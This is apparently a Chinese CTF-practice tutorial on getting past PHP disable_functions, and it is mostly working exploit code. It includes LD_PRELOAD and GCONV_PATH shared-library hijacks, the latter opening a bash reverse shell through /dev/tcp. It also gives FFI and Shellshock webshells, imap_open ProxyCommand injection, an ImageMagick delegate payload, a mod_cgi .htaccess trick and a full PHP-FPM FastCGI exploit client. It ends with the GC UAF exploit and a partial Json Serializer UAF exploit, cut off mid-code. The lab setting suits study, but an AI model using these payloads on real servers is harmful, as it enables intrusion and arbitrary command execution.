disable_function绕过

靶场https://github.com/AntSwordProject/AntSword-Labs/tree/master/bypass_disable_functions

里面记录了部分的绕过 可以自己使用docker起环境复现

执行命令返回ret=127

这个是shell返回的一个标准执行码 127代表命令没有被找到

绕过方法

LD_PRELOAD 环境变量

1
2
3
4
5
6
LD_PRELOAD 是一个特殊的环境变量,用来告诉动态链接器在加载程序时,优先加载你指定的共享库(.so 文件)

Linux操作系统的动态链接库在加载过程中,动态链接器会先读取LD_PRELOAD环境变量和默认配置文件/etc/ld.so.preload,并将读取到的动态链接库文件进行预加载。即使程序不依赖这些动态链接库,LD_PRELOAD环境变量和/etc/ld.so.preload配置文件中指定的动态链接库依然会被加载,因为它们的优先级比LD_LIBRARY_PATH环境变量所定义的链接库查找路径的文件优先级要高,所以能够提前于用户调用的动态库载入。

一般情况下,ld-linux.so加载动态链接库的顺序为:
LD_PRELOAD > LD_LIBRARY_PATH > /etc/ld.so.cache > /lib > /usr/lib

初级 有sendmail

通过putenv()函数将LD_PRELOAD设置为指定恶意动态链接库(.so)文件路径,利用其加载优先级高劫持任意函数执行的内容,从而达到不调用 PHP 的各种命令执行函数仍可执行系统命令的目的。这时候需要一个不在disable_functions内的PHP函数,又能在调用时运行系统可执行程序。

攻击思路:

1
2
3
创建一个.so文件,linux的动态链接库文件
使用putenv函数将LD_PRELOAD路径设置为我们自己创建的动态链接库文件
利用某个函数去触发该动态链接库

这里使用mail()函数进行测试:

使用readelf -Ws /usr/sbin/sendmail 可以查看 sendmail 命令可能调用的库函数

strace -f可查看具体执行过程中调用的函数,这里拿 geteuid() 函数为例 我们这里使用getuid函数,目标是劫持该函数:

1
2
3
4
5
6
7
8
9
10
11
12
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
void payload() {
system("whoami > /var/tmp/flag.txt");
}
int geteuid()
{
if (getenv("LD_PRELOAD") == NULL) { return 0; }
unsetenv("LD_PRELOAD");
payload();
}

编译成so文件

1
2
gcc -c -fPIC test.c -o test
gcc -shared test -o test.so

再次新建一个shell.php文件写成

1
2
3
4
<?php
putenv("LD_PRELOAD=/var/www/test.so");
mail("","","","","");
?>

把这个文件上传到有权限上传的目录当中

例题:[极客大挑战]RCE ME

这题前置不说了最主要是落脚到disablefunction的绕过

因为这道题网站根目录没上传文件的权限 我们改到/var/tmp目录上传 但是我们必须要访问这个shell.php 这样我们的so文件才能够生效 于是异或取反写${_GET}[_](${_GET}[_]); 进行文件包含就好了 然后进antsword刷新 就可以看到我们的flag.txt

1
?code=${%fe%fe%fe%fe^%a1%b9%bb%aa}[_](${%fe%fe%fe%fe^%a1%b9%bb%aa}[__]);&_=assert&__=include('/var/tmp/shell.php')

shell.php和test.c的文件内容

1
2
3
4
<?php
putenv("LD_PRELOAD=/var/tmp/test.so");
mail("","","","","");
?>
1
2
3
4
5
6
7
8
9
10
11
12
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
void payload() {
system("/readflag > /var/tmp/flag.txt");
}
int geteuid()
{
if (getenv("LD_PRELOAD") == NULL) { return 0; }
unsetenv("LD_PRELOAD");
payload();
}

进阶 无sendmail

使用三个重要文件 项目地址 https://github.com/yangyangwithgnu/bypass_disablefunc_via_LD_PRELOAD.git

bypass_disablefunc.php,bypass_disablefunc_x64.so或bypass_disablefunc_x86.so,bypass_disablefunc.c
将 bypass_disablefunc.php 和 bypass_disablefunc_x64.so传到目标有权限的目录中

那么这几个文件的原理 你看c源码就可以知道

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
#define _GNU_SOURCE

#include <stdlib.h>
#include <stdio.h>
#include <string.h>


extern char** environ;

__attribute__ ((__constructor__)) void preload (void)
{
// get command line options and arg
const char* cmdline = getenv("EVIL_CMDLINE");

// unset environment variable LD_PRELOAD.
// unsetenv("LD_PRELOAD") no effect on some
// distribution (e.g., centos), I need crafty trick.
int i;
for (i = 0; environ[i]; ++i) {
if (strstr(environ[i], "LD_PRELOAD")) {
environ[i][0] = '\0';
}
}

// executive command
system(cmdline);
}

最重要的是__attribute__((constructor)),他是GCC的一个C语言扩展修饰符。可以让由它修饰的函数在 main() 之前执行,若它出现在共享对象中时,那么一旦共享对象被系统加载,立即将执行 __attribute__((constructor)) 修饰的函数

还是使用rce me这道例题

image-20250901131622620

然后使用poc 因为我这道是因为网站根目录权限 只能上传到其他有权限的目录然后使用文件包含

1
?code=${%fe%fe%fe%fe^%a1%b9%bb%aa}[_](${%fe%fe%fe%fe^%a1%b9%bb%aa}[__]);&_=assert&__=include('/var/tmp/bypass_disablefunc.php')&cmd=/readflag&outpath=/tmp/tmpfile&sopath=/var/tmp/bypass_disablefunc_x64.so

这样就可以成功拿到flag

image-20250901131830238

GCONV_PATH 环境变量

利用条件

  • Linux 操作系统
  • putenv
  • iconv
  • 存在可写的目录, 需要上传 .so 文件

攻击思路:

可以使用antsword的插件

https://hugeh0ge.github.io/2019/11/04/Getting-Arbitrary-Code-Execution-from-fopen-s-2nd-Argument/

攻击原理:

1
2
3
4
5
linux系统提供了一个环境变量:GCONV_PATH,该环境变量能够使glibc使用用户自定义的 gconv-modules 文件。gconv-modules 文件中包含了各个字符集的相关信息存储的路径,每个字符集的相关信息存储在一个.so文件中,即 gconv-modules 文件提供了各个字符集的 .so 文件所在位置。

php 的 iconv 函数的第一个参数是字符集的名字,这个参数会传递到 glibc 的 iconv_open 函数的参数中。iconv_open 函数依照GCONV_PATH找到 gconv-modules 文件。接着根据 gconv-modules 文件的指示找到参数对应的 .so 文件。然后调用 .so 文件中的 gconv() 和 gconv_init() 函数。

这里就可以劫持函数执行任意命令了
1
2
3
4
5
6
7
8
9
#include <stdio.h> 
#include <stdlib.h>

void gconv() {
}

void gconv_init() {
system("bash -c 'bash -i >& /dev/tcp/ip/23333 0>&1");
}

编译成so文件

然后php文件是

1
2
3
4
<?php
putenv("GCONV_PATH=/tmp");
iconv("payload", "UTF-8", "whatever");
?>

or

1
2
3
4
<?php
putenv("GCONV_PATH=/tmp/");
include('php://filter/read=convert.iconv.exp.utf-8/resource=/tmp/exp.so');
?>

PHP7.4 FFI

使用条件:

1.PHP >= 7.4

2.开启了 FFI 扩展且ffi.enable=true

概念:

FFI(Foreign Function Interface),即外部函数接口,允许从用户区调用C代码。简单地说,就是一项让你在PHP里能够调用C代码的技术。

漏洞成因:

1
当PHP所有的命令执行函数被禁用后,通过PHP 7.4的新特性FFI可以实现用PHP代码调用C代码的方式,先声明C中的命令执行函数,然后再通过FFI变量调用该C函数即可Bypass disable_functions。

image-20250901134536383

攻击代码

1
2
3
4
5
6
7
<?php
$cmd=$_GET['cmd'];
$ffi = FFI::cdef("int system(const char *command);");
$ffi->system("$cmd > /tmp/sauy");
echo file_get_contents("/tmp/sauy");
@unlink("/tmp/SD");
?>

这样就可以绕过 来执行命令

Bash Shellshock

老爷洞 了解下 (CVE-2014-6271)破壳漏洞

使用条件:

1.php < 5.6.2

2.bash <= 4.3(破壳)

漏洞成因:

1
Bash使用的环境变量是通过函数名称来调用的,导致漏洞出问题是以“(){”开头定义的环境变量在命令ENV中解析成函数后,Bash执行并未退出,而是继续解析并执行shell命令。而其核心的原因在于在输入的过滤中没有严格限制边界,也没有做出合法化的参数判断
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
<?php 
# Exploit Title: PHP 5.x Shellshock Exploit (bypass disable_functions)
# Google Dork: none
# Date: 10/31/2014
# Exploit Author: Ryan King (Starfall)
# Vendor Homepage: http://php.net
# Software Link: http://php.net/get/php-5.6.2.tar.bz2/from/a/mirror
# Version: 5.* (tested on 5.6.2)
# Tested on: Debian 7 and CentOS 5 and 6
# CVE: CVE-2014-6271

function shellshock($cmd) { // Execute a command via CVE-2014-6271 @mail.c:283
$tmp = tempnam(".","data");
putenv("PHP_LOL=() { x; }; $cmd >$tmp 2>&1");
// In Safe Mode, the user may only alter environment variableswhose names
// begin with the prefixes supplied by this directive.
// By default, users will only be able to set environment variablesthat
// begin with PHP_ (e.g. PHP_FOO=BAR). Note: if this directive isempty,
// PHP will let the user modify ANY environment variable!
//mail("a@127.0.0.1","","","","-bv"); // -bv so we don't actuallysend any mail
error_log('a',1);
$output = @file_get_contents($tmp);
@unlink($tmp);
if($output != "") return $output;
else return "No output, or not vuln.";
}
echo shellshock($_REQUEST["cmd"]);
?>

保存为php上传到目录 访问执行命令即可

imap_open

使用条件:

1.有imap扩展

2.php.ini中开启imap.enable_insecure_rsh选项为On

漏洞成因:

1
PHP 的imap_open函数中的漏洞可能允许经过身份验证的远程攻击者在目标系统上执行任意命令。该漏洞的存在是因为受影响的软件的imap_open函数在将邮箱名称传递给rsh或ssh命令之前不正确地过滤邮箱名称。如果启用了rsh和ssh功能并且rsh命令是ssh命令的符号链接,则攻击者可以通过向目标系统发送包含-oProxyCommand参数的恶意IMAP服务器名称来利用此漏洞。成功的攻击可能允许攻击者绕过其他禁用的exec 受影响软件中的功能,攻击者可利用这些功能在目标系统上执行任意shell命令。

攻击:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<?php 
error_reporting(0);
if (!function_exists('imap_open')) {
die("no imap_open function!");
}
$server = "x -oProxyCommand=echot" . base64_encode($_GET['cmd'] .
">/tmp/cmd_result") . "|base64t-d|sh}";
//$server = 'x -oProxyCommand=echo$IFS$()' . base64_encode($_GET['cmd'] .
">/tmp/cmd_result") . '|base64$IFS$()-d|sh}';
imap_open('{' . $server . ':143/imap}INBOX', '', ''); // or
var_dump("nnError: ".imap_last_error());
sleep(5);
echo file_get_contents("/tmp/cmd_result");
?>

Pcntl组件

使用条件:

1.目标机器安装并启用了php组件Pcntl

漏洞成因:

1
使用pcntl_exec()这个pcntl插件专有的命令执行函数来执行系统命令,也算是过黑名单的一钟,比较简单。

攻击思路:

1
2
3
4
5
#pcntl_exec().php
<?php pcntl_exec("/bin/bash", array("/tmp/b4dboy.sh"));?>
#/tmp/b4dboy.sh
#!/bin/bash
ls -l /

ImageMagick 漏洞绕过(CVE-2016–3714)

使用条件:

1.目标主机安装了漏洞版本的imagemagick(<= 3.3.0)

2.安装了php-imagick拓展并在php.ini中启用;

3.编写php通过new Imagick对象的方式来处理图片等格式文件;

4.PHP >= 5.4

ImageMagick介绍

ImageMagick是一款使用量很广的图片处理程序,很多厂商都调用了这个程序进行图片处理,包括图片的伸缩、切割、水印、格式转换等等。

在 ImageMagick 的默认配置文件 /etc/ImageMagick/delegates.xml 里可以看到所有的委托。这个文件定义了很多占位符,比如 %i 是输入的文件名,%l 是图片exif label信息。而在后面 command 的位置,%i 和 %l 等占位符被拼接在命令行中。这个漏洞也因此而来,被拼接完毕的命令行传入了系统的system函数,而我们只需使用反引号或闭合双引号,来执行任意命令。如果在phpinfo中看到有这个ImageMagick 就可以尝试一下这个

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
<?php
echo "Disable Functions: " . ini_get('disable_functions') . "\n";

$command = PHP_SAPI == 'cli' ? $argv[1] : $_GET['cmd'];
if ($command == '') {
$command = 'id';
}

$exploit = <<<EOF
push graphic-context
viewbox 0 0 640 480
fill 'url(https://example.com/image.jpg"|$command")'
pop graphic-context
EOF;

file_put_contents("KKKK.mvg", $exploit);
$thumb = new Imagick();
$thumb->readImage('KKKK.mvg');
$thumb->writeImage('KKKK.png');
$thumb->clear();
$thumb->destroy();
unlink("KKKK.mvg");
unlink("KKKK.png");
?>

Apache Mod CGI

使用条件:

1.Apache + PHP (apache 使用 apache_mod_php)

2.pache 开启了 cgi, rewrite

3.Web 目录给了 AllowOverride 权限

漏洞成因:

1
2
任何具有MIME类型application/x-httpd-cgi或者被cgi-script处理器处理的文件都将被作为CGI脚本对待并由服务器运行,它的输出将被返回给客户端。可以通过两种途径使文件成为CGI脚本,一种是文件具有已由AddType指令定义的扩展名,另一种是文件位于ScriptAlias目录中。
当Apache 开启了cgi, rewrite时,我们可以利用.htaccess文件,临时允许一个目录可以执行cgi程序并且使得服务器将自定义的后缀解析为cgi程序,则可以在目的目录下使用.htaccess文件进行配置。

攻击:

在web目录下上传.htaccess

1
2
Options +ExecCGI
AddHandler cgi-script .ant

上传shell.ant

1
2
3
4
#!/bin/sh
echo Content-type: text/html
echo ""
echo&&id

然后给shell.ant加上权限 直接访问即可得到命令执行结果

PHP-FPM/FastCGI

使用条件:

phpinfo查看目标主机是否配置了 FPM/Fastcgi

概念:

Fastcgi其实是一个通信协议,和HTTP协议一样,都是进行数据交换的一个通道。

PHP-FPM(PHP FastCGI Process Manager)意:PHP FastCGI 进程管理器,用于管理PHP 进程池的软件,用于接受web服务器的请求。

FPM就是Fastcgi的协议解析器,Web服务器使用CGI协议封装好用户的请求发送给FPM。FPM按照CGI的协议将TCP流解析成真正的数据。类比HTTP协议来说,fastcgi协议则是服务器中间件和某个语言后端进行数据交换的协议。Fastcgi协议由多个record组成,record也有header和body一说,服务器中间件将这二者按照fastcgi的规则封装好发送给语言后端,语言后端解码以后拿到具体数据,进行指定操作,并将结果再按照该协议封装好后返回给服务器中间件。

和HTTP头不同,record的头固定8个字节,body是由头中的contentLength指定,其结构如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
typedef struct {
/* Header */
unsigned char version; // 版本
unsigned char type; // 本次record的类型
unsigned char requestIdB1; // 本次record对应的请求id
unsigned char requestIdB0;
unsigned char contentLengthB1; // body体的大小
unsigned char contentLengthB0;
unsigned char paddingLength; // 额外块大小
unsigned char reserved;

/* Body */
unsigned char contentData[contentLength];
unsigned char paddingData[paddingLength];
} FCGI_Record;

头由8个uchar类型的变量组成,每个变量1字节。其中,requestId占两个字节,一个唯一的标志id,以避免多个请求之间的影响;contentLength占两个字节,表示body的大小。

了解了协议原理和内容,接下来就是使用CGI协议封装请求,通过Socket来直接与FPM通信。p神通过PHP-FPM的环境变量PHP_VALUEPHP_ADMIN_VALUE设置php.ini配置项,通过配置项auto_prepend_fileauto_append_file结合php://input包含任意php代码并执行,并且修改了远程文件包含选项allow_url_include为on

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
import socket
import random
import argparse
import sys
from io import BytesIO

# Referrer: https://github.com/wuyunfeng/Python-FastCGI-Client

PY2 = True if sys.version_info.major == 2 else False


def bchr(i):
if PY2:
return force_bytes(chr(i))
else:
return bytes([i])

def bord(c):
if isinstance(c, int):
return c
else:
return ord(c)

def force_bytes(s):
if isinstance(s, bytes):
return s
else:
return s.encode('utf-8', 'strict')

def force_text(s):
if issubclass(type(s), str):
return s
if isinstance(s, bytes):
s = str(s, 'utf-8', 'strict')
else:
s = str(s)
return s


class FastCGIClient:
"""A Fast-CGI Client for Python"""

# private
__FCGI_VERSION = 1

__FCGI_ROLE_RESPONDER = 1
__FCGI_ROLE_AUTHORIZER = 2
__FCGI_ROLE_FILTER = 3

__FCGI_TYPE_BEGIN = 1
__FCGI_TYPE_ABORT = 2
__FCGI_TYPE_END = 3
__FCGI_TYPE_PARAMS = 4
__FCGI_TYPE_STDIN = 5
__FCGI_TYPE_STDOUT = 6
__FCGI_TYPE_STDERR = 7
__FCGI_TYPE_DATA = 8
__FCGI_TYPE_GETVALUES = 9
__FCGI_TYPE_GETVALUES_RESULT = 10
__FCGI_TYPE_UNKOWNTYPE = 11

__FCGI_HEADER_SIZE = 8

# request state
FCGI_STATE_SEND = 1
FCGI_STATE_ERROR = 2
FCGI_STATE_SUCCESS = 3

def __init__(self, host, port, timeout, keepalive):
self.host = host
self.port = port
self.timeout = timeout
if keepalive:
self.keepalive = 1
else:
self.keepalive = 0
self.sock = None
self.requests = dict()

def __connect(self):
self.sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
self.sock.settimeout(self.timeout)
self.sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
# if self.keepalive:
# self.sock.setsockopt(socket.SOL_SOCKET, socket.SOL_KEEPALIVE, 1)
# else:
# self.sock.setsockopt(socket.SOL_SOCKET, socket.SOL_KEEPALIVE, 0)
try:
self.sock.connect((self.host, int(self.port)))
except socket.error as msg:
self.sock.close()
self.sock = None
print(repr(msg))
return False
return True

def __encodeFastCGIRecord(self, fcgi_type, content, requestid):
length = len(content)
buf = bchr(FastCGIClient.__FCGI_VERSION) \
+ bchr(fcgi_type) \
+ bchr((requestid >> 8) & 0xFF) \
+ bchr(requestid & 0xFF) \
+ bchr((length >> 8) & 0xFF) \
+ bchr(length & 0xFF) \
+ bchr(0) \
+ bchr(0) \
+ content
return buf

def __encodeNameValueParams(self, name, value):
nLen = len(name)
vLen = len(value)
record = b''
if nLen < 128:
record += bchr(nLen)
else:
record += bchr((nLen >> 24) | 0x80) \
+ bchr((nLen >> 16) & 0xFF) \
+ bchr((nLen >> 8) & 0xFF) \
+ bchr(nLen & 0xFF)
if vLen < 128:
record += bchr(vLen)
else:
record += bchr((vLen >> 24) | 0x80) \
+ bchr((vLen >> 16) & 0xFF) \
+ bchr((vLen >> 8) & 0xFF) \
+ bchr(vLen & 0xFF)
return record + name + value

def __decodeFastCGIHeader(self, stream):
header = dict()
header['version'] = bord(stream[0])
header['type'] = bord(stream[1])
header['requestId'] = (bord(stream[2]) << 8) + bord(stream[3])
header['contentLength'] = (bord(stream[4]) << 8) + bord(stream[5])
header['paddingLength'] = bord(stream[6])
header['reserved'] = bord(stream[7])
return header

def __decodeFastCGIRecord(self, buffer):
header = buffer.read(int(self.__FCGI_HEADER_SIZE))

if not header:
return False
else:
record = self.__decodeFastCGIHeader(header)
record['content'] = b''

if 'contentLength' in record.keys():
contentLength = int(record['contentLength'])
record['content'] += buffer.read(contentLength)
if 'paddingLength' in record.keys():
skiped = buffer.read(int(record['paddingLength']))
return record

def request(self, nameValuePairs={}, post=''):
if not self.__connect():
print('connect failure! please check your fasctcgi-server !!')
return

requestId = random.randint(1, (1 << 16) - 1)
self.requests[requestId] = dict()
request = b""
beginFCGIRecordContent = bchr(0) \
+ bchr(FastCGIClient.__FCGI_ROLE_RESPONDER) \
+ bchr(self.keepalive) \
+ bchr(0) * 5
request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_BEGIN,
beginFCGIRecordContent, requestId)
paramsRecord = b''
if nameValuePairs:
for (name, value) in nameValuePairs.items():
name = force_bytes(name)
value = force_bytes(value)
paramsRecord += self.__encodeNameValueParams(name, value)

if paramsRecord:
request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_PARAMS, paramsRecord, requestId)
request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_PARAMS, b'', requestId)

if post:
request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_STDIN, force_bytes(post), requestId)
request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_STDIN, b'', requestId)

self.sock.send(request)
self.requests[requestId]['state'] = FastCGIClient.FCGI_STATE_SEND
self.requests[requestId]['response'] = b''
return self.__waitForResponse(requestId)

def __waitForResponse(self, requestId):
data = b''
while True:
buf = self.sock.recv(512)
if not len(buf):
break
data += buf

data = BytesIO(data)
while True:
response = self.__decodeFastCGIRecord(data)
if not response:
break
if response['type'] == FastCGIClient.__FCGI_TYPE_STDOUT \
or response['type'] == FastCGIClient.__FCGI_TYPE_STDERR:
if response['type'] == FastCGIClient.__FCGI_TYPE_STDERR:
self.requests['state'] = FastCGIClient.FCGI_STATE_ERROR
if requestId == int(response['requestId']):
self.requests[requestId]['response'] += response['content']
if response['type'] == FastCGIClient.FCGI_STATE_SUCCESS:
self.requests[requestId]
return self.requests[requestId]['response']

def __repr__(self):
return "fastcgi connect host:{} port:{}".format(self.host, self.port)


if __name__ == '__main__':
parser = argparse.ArgumentParser(description='Php-fpm code execution vulnerability client.')
parser.add_argument('host', help='Target host, such as 127.0.0.1')
parser.add_argument('file', help='A php file absolute path, such as /usr/local/lib/php/System.php')
parser.add_argument('-c', '--code', help='What php code your want to execute', default='<?php phpinfo(); exit; ?>')
parser.add_argument('-p', '--port', help='FastCGI port', default=9000, type=int)

args = parser.parse_args()

client = FastCGIClient(args.host, args.port, 3, 0)
params = dict()
documentRoot = "/"
uri = args.file
content = args.code
params = {
'GATEWAY_INTERFACE': 'FastCGI/1.0',
'REQUEST_METHOD': 'POST',
'SCRIPT_FILENAME': documentRoot + uri.lstrip('/'),
'SCRIPT_NAME': uri,
'QUERY_STRING': '',
'REQUEST_URI': uri,
'DOCUMENT_ROOT': documentRoot,
'SERVER_SOFTWARE': 'php/fcgiclient',
'REMOTE_ADDR': '127.0.0.1',
'REMOTE_PORT': '9985',
'SERVER_ADDR': '127.0.0.1',
'SERVER_PORT': '80',
'SERVER_NAME': "localhost",
'SERVER_PROTOCOL': 'HTTP/1.1',
'CONTENT_TYPE': 'application/text',
'CONTENT_LENGTH': "%d" % len(content),
'PHP_VALUE': 'auto_prepend_file = php://input',
'PHP_ADMIN_VALUE': 'allow_url_include = On'
}
response = client.request(params, content)
print(force_text(response))

脚本使用方法:python 111.py ip /var/www/html/index.php -p port -c "<?php system('ls /'); ?>"

image-20250902135005034

也可以使用antsword插件

GC UAF

利用条件

1.Linux 操作系统

2.PHP7.0 - all versions to date

3.PHP7.1 - all versions to date

4.PHP7.2 - all versions to date

5.PHP7.3 - all versions to date

攻击exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
<?php

# PHP 7.0-7.3 disable_functions bypass PoC (*nix only)
#
# Bug: https://bugs.php.net/bug.php?id=72530
#
# This exploit should work on all PHP 7.0-7.3 versions
#
# Author: https://github.com/mm0r1

pwn("uname -a");

function pwn($cmd) {
global $abc, $helper;

function str2ptr(&$str, $p = 0, $s = 8) {
$address = 0;
for($j = $s-1; $j >= 0; $j--) {
$address <<= 8;
$address |= ord($str[$p+$j]);
}
return $address;
}

function ptr2str($ptr, $m = 8) {
$out = "";
for ($i=0; $i < $m; $i++) {
$out .= chr($ptr & 0xff);
$ptr >>= 8;
}
return $out;
}

function write(&$str, $p, $v, $n = 8) {
$i = 0;
for($i = 0; $i < $n; $i++) {
$str[$p + $i] = chr($v & 0xff);
$v >>= 8;
}
}

function leak($addr, $p = 0, $s = 8) {
global $abc, $helper;
write($abc, 0x68, $addr + $p - 0x10);
$leak = strlen($helper->a);
if($s != 8) { $leak %= 2 << ($s * 8) - 1; }
return $leak;
}

function parse_elf($base) {
$e_type = leak($base, 0x10, 2);

$e_phoff = leak($base, 0x20);
$e_phentsize = leak($base, 0x36, 2);
$e_phnum = leak($base, 0x38, 2);

for($i = 0; $i < $e_phnum; $i++) {
$header = $base + $e_phoff + $i * $e_phentsize;
$p_type = leak($header, 0, 4);
$p_flags = leak($header, 4, 4);
$p_vaddr = leak($header, 0x10);
$p_memsz = leak($header, 0x28);

if($p_type == 1 && $p_flags == 6) { # PT_LOAD, PF_Read_Write
# handle pie
$data_addr = $e_type == 2 ? $p_vaddr : $base + $p_vaddr;
$data_size = $p_memsz;
} else if($p_type == 1 && $p_flags == 5) { # PT_LOAD, PF_Read_exec
$text_size = $p_memsz;
}
}

if(!$data_addr || !$text_size || !$data_size)
return false;

return [$data_addr, $text_size, $data_size];
}

function get_basic_funcs($base, $elf) {
list($data_addr, $text_size, $data_size) = $elf;
for($i = 0; $i < $data_size / 8; $i++) {
$leak = leak($data_addr, $i * 8);
if($leak - $base > 0 && $leak - $base < $data_addr - $base) {
$deref = leak($leak);
# 'constant' constant check
if($deref != 0x746e6174736e6f63)
continue;
} else continue;

$leak = leak($data_addr, ($i + 4) * 8);
if($leak - $base > 0 && $leak - $base < $data_addr - $base) {
$deref = leak($leak);
# 'bin2hex' constant check
if($deref != 0x786568326e6962)
continue;
} else continue;

return $data_addr + $i * 8;
}
}

function get_binary_base($binary_leak) {
$base = 0;
$start = $binary_leak & 0xfffffffffffff000;
for($i = 0; $i < 0x1000; $i++) {
$addr = $start - 0x1000 * $i;
$leak = leak($addr, 0, 7);
if($leak == 0x10102464c457f) { # ELF header
return $addr;
}
}
}

function get_system($basic_funcs) {
$addr = $basic_funcs;
do {
$f_entry = leak($addr);
$f_name = leak($f_entry, 0, 6);

if($f_name == 0x6d6574737973) { # system
return leak($addr + 8);
}
$addr += 0x20;
} while($f_entry != 0);
return false;
}

class ryat {
var $ryat;
var $chtg;

function __destruct()
{
$this->chtg = $this->ryat;
$this->ryat = 1;
}
}

class Helper {
public $a, $b, $c, $d;
}

if(stristr(PHP_OS, 'WIN')) {
die('This PoC is for *nix systems only.');
}

$n_alloc = 10; # increase this value if you get segfaults

$contiguous = [];
for($i = 0; $i < $n_alloc; $i++)
$contiguous[] = str_repeat('A', 79);

$poc = 'a:4:{i:0;i:1;i:1;a:1:{i:0;O:4:"ryat":2:{s:4:"ryat";R:3;s:4:"chtg";i:2;}}i:1;i:3;i:2;R:5;}';
$out = unserialize($poc);
gc_collect_cycles();

$v = [];
$v[0] = ptr2str(0, 79);
unset($v);
$abc = $out[2][0];

$helper = new Helper;
$helper->b = function ($x) { };

if(strlen($abc) == 79 || strlen($abc) == 0) {
die("UAF failed");
}

# leaks
$closure_handlers = str2ptr($abc, 0);
$php_heap = str2ptr($abc, 0x58);
$abc_addr = $php_heap - 0xc8;

# fake value
write($abc, 0x60, 2);
write($abc, 0x70, 6);

# fake reference
write($abc, 0x10, $abc_addr + 0x60);
write($abc, 0x18, 0xa);

$closure_obj = str2ptr($abc, 0x20);

$binary_leak = leak($closure_handlers, 8);
if(!($base = get_binary_base($binary_leak))) {
die("Couldn't determine binary base address");
}

if(!($elf = parse_elf($base))) {
die("Couldn't parse ELF header");
}

if(!($basic_funcs = get_basic_funcs($base, $elf))) {
die("Couldn't get basic_functions address");
}

if(!($zif_system = get_system($basic_funcs))) {
die("Couldn't get zif_system address");
}

# fake closure object
$fake_obj_offset = 0xd0;
for($i = 0; $i < 0x110; $i += 8) {
write($abc, $fake_obj_offset + $i, leak($closure_obj, $i));
}

# pwn
write($abc, 0x20, $abc_addr + $fake_obj_offset);
write($abc, 0xd0 + 0x38, 1, 4); # internal func type
write($abc, 0xd0 + 0x68, $zif_system); # internal func handler

($helper->b)($cmd);

exit();
}

也可以使用antsword的插件

Json Serializer UAF

利用条件:

利用条件

  • Linux 操作系统
  • PHP7.1 - all versions to date
  • PHP7.2 < 7.2.19 (released: 30 May 2019)
  • PHP7.3 < 7.3.6 (released: 30 May 2019)

攻击exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
<?php

$cmd = "id";

$n_alloc = 10; # increase this value if you get segfaults

class MySplFixedArray extends SplFixedArray {
public static $leak;
}

class Z implements JsonSerializable {
public function write(&$str, $p, $v, $n = 8) {
$i = 0;
for($i = 0; $i < $n; $i++) {
$str[$p + $i] = chr($v & 0xff);
$v >>= 8;
}
}

public function str2ptr(&$str, $p = 0, $s = 8) {
$address = 0;
for($j = $s-1; $j >= 0; $j--) {
$address <<= 8;
$address |= ord($str[$p+$j]);
}
return $address;
}

public function ptr2str($ptr, $m = 8) {
$out = "";
for ($i=0; $i < $m; $i++) {
$out .= chr($ptr & 0xff);
$ptr >>= 8;
}
return $out;
}

